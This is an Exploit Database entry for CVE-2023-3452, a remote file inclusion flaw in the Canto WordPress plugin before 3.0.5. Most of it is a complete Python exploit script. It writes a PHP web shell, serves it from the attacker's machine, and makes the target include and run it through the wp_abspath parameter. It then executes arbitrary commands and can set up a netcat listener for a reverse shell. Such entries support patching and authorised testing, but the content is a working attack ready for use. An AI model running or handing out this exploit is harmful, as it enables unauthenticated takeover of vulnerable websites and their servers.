WordPress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)

Exploit Database
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作者： Leopoldo Angulo (leoanggal1)

日期： 2024-02-27
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51826/

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# Exploit Title: WordPress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)

# Date: 04/11/2023

# Exploit Author: Leopoldo Angulo (leoanggal1)

# Vendor Homepage: https://wordpress.org/plugins/canto/

# Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip

# Version: All versions of Canto Plugin prior to 3.0.5

# Tested on: Ubuntu 22.04, WordPress 6.3.2, Canto Plugin 3.0.4

# CVE : CVE-2023-3452

#PoC Notes:

#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)

#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:

#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...

#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.

# More information in Leoanggal1's Github

#!/usr/bin/python3

import argparse

import http.server

import socketserver

import threading

import requests

import os

import subprocess

# Define the default web shell

default_web_shell = "<?php system($_GET['cmd']); ?>"

def create_admin_file(local_dir, local_shell=None):

if not os.path.exists(local_dir):

os.makedirs(local_dir)

# If a local shell is provided, use it; otherwise, use the default web shell

if local_shell:

with open(f"{local_dir}/admin.php", "wb") as admin_file:

with open(local_shell, "rb") as original_file:

admin_file.write(original_file.read())

else:

with open(f"{local_dir}/admin.php", "w") as admin_file:

admin_file.write(default_web_shell)

def start_local_server(local_port):

Handler = http.server.SimpleHTTPRequestHandler

httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler)

print(f"Local web server on port {local_port}...")

httpd.serve_forever()

return httpd

def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port):

local_dir = "wp-admin"

create_admin_file(local_dir, local_shell)

target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php"

local_server = f"http://{local_host}:{local_port}"

command = f"cmd={command}"

if local_shell:

# If a local shell is provided, start netcat on the specified port

subprocess.Popen(["nc", "-lvp", str(nc_port)])

server_thread = threading.Thread(target=start_local_server, args=(local_port,))

server_thread.daemon = True

server_thread.start()

exploit_url = f"{target_url}?wp_abspath={local_server}&{command}"

print(f"Exploitation URL: {exploit_url}")

response = requests.get(exploit_url)

print("Server response:")

print(response.text)

# Shutdown the local web server

print("Shutting down local web server...")

server_thread.join()

if __name__ == "__main__":

examples = '''

Examples:

- Check the vulnerability

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33

- Execute a command

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'

- Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.

python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php

'''

parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)

parser.add_argument("-u", "--url", required=True, default=None,help="Vulnerable URL")

parser.add_argument("-s", "--shell", help="Local file for web shell")

parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP")

parser.add_argument("-LPORT", "--local_port", help="Local web server port")

parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target")

parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat")

try:

args = parser.parse_args()

if args.local_port is None:

args.local_port = 8080# Valor predeterminado si LPORT no se proporciona

exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port)

except SystemExit:

parser.print_help()